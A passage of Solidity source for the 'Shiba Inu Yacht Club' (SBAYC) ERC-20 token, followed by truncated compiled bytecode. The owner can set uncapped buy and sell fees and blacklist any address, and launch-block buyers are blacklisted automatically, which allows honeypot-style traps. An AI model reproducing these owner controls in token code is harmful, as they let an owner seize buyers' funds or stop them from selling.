event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SBAYC is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Inu Yacht Club";//
string private constant _symbol = "SBAYC";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 10;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xcFA5D91Ed9CBff6b1e3275127F84DF7d67d5Bf0B);//
address payable private _marketingAddress = payable(0xa5B8a7e759150a907F521EE6701360f4877a1F38);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9; //
uint256 public _maxWalletSize = 60000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c6565b610702565b005b34801561021157600080fd5b5061021a610852565b604051610227919061350f565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613032565b61088f565b60405161026491906134d9565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f4565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f1565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe3565b6108e3565b6040516102f791906134d9565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f1565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613766565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134be565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f55565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613107565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f55565b610c63565b60405161041e91906136f1565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613130565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f1565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134be565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613107565b610ed5565b005b3480156104f257600080fd5b506104fb610f8e565b60405161050891906136f1565b60405180910390f35b34801561051d57600080fd5b50610526610f94565b604051610533919061350f565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613130565b610fd1565b005b34801561057157600080fd5b5061058c60048036038101906105879190613159565b611070565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613032565b611127565b6040516105c291906134d9565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f55565b611145565b6040516105ff91906134d9565b60405180910390f35b34801561061457600080fd5b5061061d611165565b005b34801561062b57600080fd5b506106466004803603810190610641919061306e565b61123e565b005b34801561065457600080fd5b5061065d61139e565b60405161066a91906136f1565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa7565b6113a4565b6040516106a791906136f1565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613130565b61142b565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f55565b6114ca565b005b61070a61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613651565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2b565b91505061079a565b5050565b60606040518060400160405280601481526020017f536869626120496e7520596163687420436c7562000000000000000000000000815250905090565b60006108a361089c61168c565b8484611694565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108f084848461185f565b6109b1846108fc61168c565b6109ac85604051806060016040528060288152602001613f3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122339092919063ffffffff16565b611694565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613651565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613651565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168c565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168c565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612297565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612392565b9050919050565b610cbc61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613651565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613651565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f5342415943000000000000000000000000000000000000000000000000000000815250905090565b610fd961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d90613651565b60405180910390fd5b8060198190555050565b61107861168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613651565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113b61113461168c565b848461185f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a661168c565b73ffffffffffffffffffffffffffffffffffffffff16148061121c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120461168c565b73ffffffffffffffffffffffffffffffffffffffff16145b61122557600080fd5b600061123030610c63565b905061123b81612400565b50565b61124661168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ca90613651565b60405180910390fd5b60005b8383905081101561139857816005600086868581811061131f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113349190612f55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139090613a2b565b9150506112d6565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143361168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613651565b60405180910390fd5b8060188190555050565b6114d261168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c6906135b1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906136d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b906135d1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185291906136f1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c690613691565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690613531565b60405180910390fd5b60008111611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613671565b60405180910390fd5b61198a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f857506119c8610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3257601660149054906101000a900460ff16611a8757611a19610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90613551565b60405180910390fd5b5b601754811115611acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac390613591565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b705750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba6906135f1565b60405180910390fd5b6008544311158015611c0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c685750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cfe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dab5760185481611d6084610c63565b611d6a9190613827565b10611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da1906136b1565b60405180910390fd5b5b6000611db630610c63565b9050600060195482101590506017548210611dd15760175491505b808015611deb5750601660159054906101000a900460ff16155b8015611e455750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b575060168054906101000a900460ff165b8015611eb15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f075750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57611f1582612400565b60004790506000811115611f2d57611f2c47612297565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fd95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209a5760009050612221565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121455750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222057600b54600d81905550600c54600e819055505b5b61222d848484846126fa565b50505050565b600083831115829061227b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612272919061350f565b60405180910390fd5b506000838561228a9190613908565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e760028461272790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612312573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236360028461272790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238e573d6000803e3d6000fd5b5050565b60006006548211156123d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d090613571565b60405180910390fd5b60006123e3612771565b90506123f8818461272790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248c5781602001602082028036833780820191505090505b50905030816000815181106124ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256c57600080fd5b505afa158015612580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a49190612f7e565b816001815181106125de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffff